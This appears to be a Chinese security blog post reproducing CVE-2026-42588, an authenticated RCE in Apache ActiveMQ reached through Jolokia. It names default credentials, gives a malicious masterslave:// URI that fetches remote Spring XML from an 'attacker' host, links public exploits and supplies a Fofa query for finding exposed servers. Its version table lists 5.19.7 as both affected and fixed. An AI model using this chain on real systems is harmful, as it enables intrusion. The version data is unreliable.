CVE复现 | CVE-2026-42588漏洞复现
原创
LRT凌日
LRT凌日
凌日网络与信息安全团队LapR1skT
2026年6月19日 19:58
重庆
在小说阅读器读本章
去阅读
漏洞描述
CVE-2026-42588 是一个存在于 Apache ActiveMQ 中的认证后远程代码执行(RCE)漏洞。
攻击者在拥有 Web Console 认证凭据的前提下(常见如admin:admin弱口令),通过 Jolokia JMX-HTTP 桥接接口 (/api/jolokia/) 调用 BrokerService.addNetworkConnector(String) 方法,传入精心构造的 masterslave:// discovery URI,利用 xbean: 协议加载远程 Spring XML 配置文件,最终在 ActiveMQ Broker 的 JVM 中执行任意系统命令(RCE)。
受影响的版本
| 组件(Maven Artifact) | 受影响版本 | 安全版本 |
|---|---|---|
| org.apache.activemq:activemq-broker | 5.19.7 | 5.19.7 |
| org.apache.activemq:activemq-broker | 6.0.0 – 6.2.5 | 6.2.6 |
| org.apache.activemq:activemq-all | 5.19.7 | 5.19.7 |
| org.apache.activemq:activemq-all | 6.0.0 – 6.2.5 | 6.2.6 |
| org.apache.activemq:apache-activemq | 5.19.7 | 5.19.7 |
| org.apache.activemq:apache-activemq | 6.0.0 – 6.2.5 | 6.2.6 |
复现步骤
PoC附件:https://github.com/gentleman567/POC
将这个xml托管到你的攻击机上
然后记得容器是需要出网的
值得一提的是虽然返回错误但是xml成功被加载且执行了。
实际执行的是/bin/sh -c “touch /tmp/activemq\_pwned”这里其实有些地方有点坑在于用docker打沙箱环境的时候如果软连接有问题比如你的/bin/sh连接到其他地方了他是不行的,还有就是apache默认保护也会过滤一些,你也可以用dash试试如果是只复现的话。Exp推荐:(https://github.com/hnytgl/CVE-2026-42588/tree/master)
可以看到是有这个文件的。
总调用链:
1. BrokerService.addNetworkConnector(String)-> masterslave://?brokerConfig=xbean:http://attacker/malicious.xml->
2. XBeanBrokerFactory→ResourceXmlApplicationContext->
Spring 预实例化所有单例 Bean → 触发 Runtime.exec() / ProcessBuilder
总结:总的来说这个版本还是比较小众,利用难度嘛,exp也公开了。
总的来说就是:
masterslave:// URI 的参数注入
masterslave://URI 的正常格式如下:
1. masterslave://(tcp://localhost:61616)?brokerConfig=xbean:file:./activemq.xml
然后这个地方的xbean:file:./activemq.xml可以改成远程的恶意URL
附上Fofa语句(保命保命)应该比较少了。
1. app=\"Apache-ActiveMQ\"&& port=\"8161\"
参考文章
参考链接:https://github.com/hnytgl/CVE-2026-42588/tree/master
https://www.cve.org/CVERecord?id=CVE-2026-42588
免责声明:由于传播、利用本公众号凌日网络与信息安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号凌日网络与信息安全团队及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论